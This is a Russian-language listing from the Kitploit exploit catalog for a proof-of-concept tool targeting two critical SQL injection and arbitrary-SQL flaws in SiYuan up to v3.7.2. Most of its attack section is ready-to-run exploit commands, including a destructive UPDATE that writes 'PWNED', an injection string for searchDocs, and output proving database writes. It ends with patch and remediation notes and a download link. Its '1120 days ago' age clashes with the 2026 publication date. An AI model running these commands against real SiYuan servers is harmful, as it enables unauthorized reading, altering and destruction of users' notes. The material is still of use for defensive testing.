Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/boreas37/cve-2026-69084-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеБезопасность Баз Данных
GitHubboreas37/cve-2026-69084-poc

CVE-2026-69084-PoC

CVE-2026-69084/69085 — произвольное выполнение SQL в SiYuan через searchEmbedBlock + SQL-инъекцию в searchDocs (CVSS 9.9). Проверено на v3.7.2, отклонено в v3.7.3.

Репозиторий
1120 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-69084 / CVE-2026-69085 — SiYuan: произвольное выполнение SQL и SQL-инъекция

CVE-2026-69084: произвольное выполнение SQL через /api/search/searchEmbedBlock CVE-2026-69085: SQL-инъекция через /api/filetree/searchDocs CVSS 9.9 (критический) для каждой · CWE-89 · SiYuan <= v3.7.2 (исправлено в v3.7.3) Опубликовано 2026-08-03 · на момент публикации публичного PoC нет

TL;DR

SiYuan (приложение для заметок с открытым исходным кодом, github.com/siyuan-note/siyuan) предоставляет две конечные точки API, которые передают управляемый атакующим SQL в свою базу данных SQLite:

CVE-2026-69084 — /api/search/searchEmbedBlock: Параметр stmt передаётся дословно в основной дескриптор чтения-записи siyuan.db без каких-либо ограничений на одиночный оператор или режим «только чтение». Драйвер SQLite выполняет составные (разделённые точкой с запятой) операторы, поэтому атакующий может выполнить / / / / с чем угодно в базе данных. Ограничено только — доступно с токеном RoleReader для публикации, или анонимно, когда в режиме публикации установлено .

CREATE
INSERT
UPDATE
DELETE
DROP
CheckAuth
Publish.Auth.Enable=false

CVE-2026-69085 — /api/filetree/searchDocs: Параметр keyword напрямую конкатенируется в SQL без экранирования или привязки параметров.

Обе уязвимости исправлены в v3.7.3 с помощью sql.CheckSingleStatement() + sql.CheckReadonlyStatementInBox().

Эксплуатация

root@kitploit:~
# 1. Неразрушающая проверка (sqlite_version)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --check

# 2. Доказательство записи в БД: CREATE TABLE + INSERT
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --proof

# 3. Выполнение произвольного SQL (поддерживаются составные операторы)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> "SELECT * FROM blocks LIMIT 5"
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> "UPDATE blocks SET hpath='PWNED' WHERE id=(SELECT id FROM blocks LIMIT 1)"

# 4. SQL-инъекция searchDocs (69085)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --searchdocs "x' OR 1=1 --"

Если экземпляр запущен с включённым режимом публикации и отключённой аутентификацией (Publish.Auth.Enable=false), --auth вообще не требуется.

Проверка (реальный SiYuan v3.7.2 в Docker)

root@kitploit:~
$ python3 CVE-2026-69084.py http://127.0.0.1:6806 --auth test123 --proof
[*] SQL: CREATE TABLE IF NOT EXISTS pwn_69084 (id INTEGER)
[+] SQL принят (blocks: 0)
[*] SQL: INSERT INTO pwn_69084 VALUES (31337)
[+] SQL принят (blocks: 0)
[+] ДОКАЗАТЕЛЬСТВО ЗАПИСИ В БД ЗАВЕРШЕНО — таблица pwn_69084 + строка 31337 в siyuan.db

# На хосте:
$ sqlite3 siyuan.db "SELECT * FROM pwn_69084;"
31337

Исправленная v3.7.3 отклоняет те же запросы:

  • SELECT 1; CREATE TABLE x → "SQL statement is not single"
  • UPDATE blocks ... → "SQL statement is not a read-only query"
  • одиночный SELECT по-прежнему работает (легитимная функциональность сохранена)

Внутреннее устройство PoC

Python-PoC выполняет вход в сессию (/api/system/loginAuth) для получения cookie аутентификации, затем отправляет POST-запрос на уязвимую конечную точку. Протестировано против b3log/siyuan:v3.7.2 (уязвимая) и b3log/siyuan:v3.7.3 (исправленная).

Устранение

  • Обновите SiYuan до v3.7.3 или новее.
  • Если вы открываете режим публикации SiYuan, держите Publish.Auth.Enable=true и используйте надёжные токены RoleReader.

Ссылки

  • GHSA-p2x7-4c4p-8wh6 (69084)
  • GHSA-5w4j-hchp-r332 (69085)
  • NVD — CVE-2026-69084
  • NVD — CVE-2026-69085
  • Консультация VulnCheck

Отказ от ответственности

Только для авторизованного тестирования безопасности и образовательных целей.

Скачать инструмент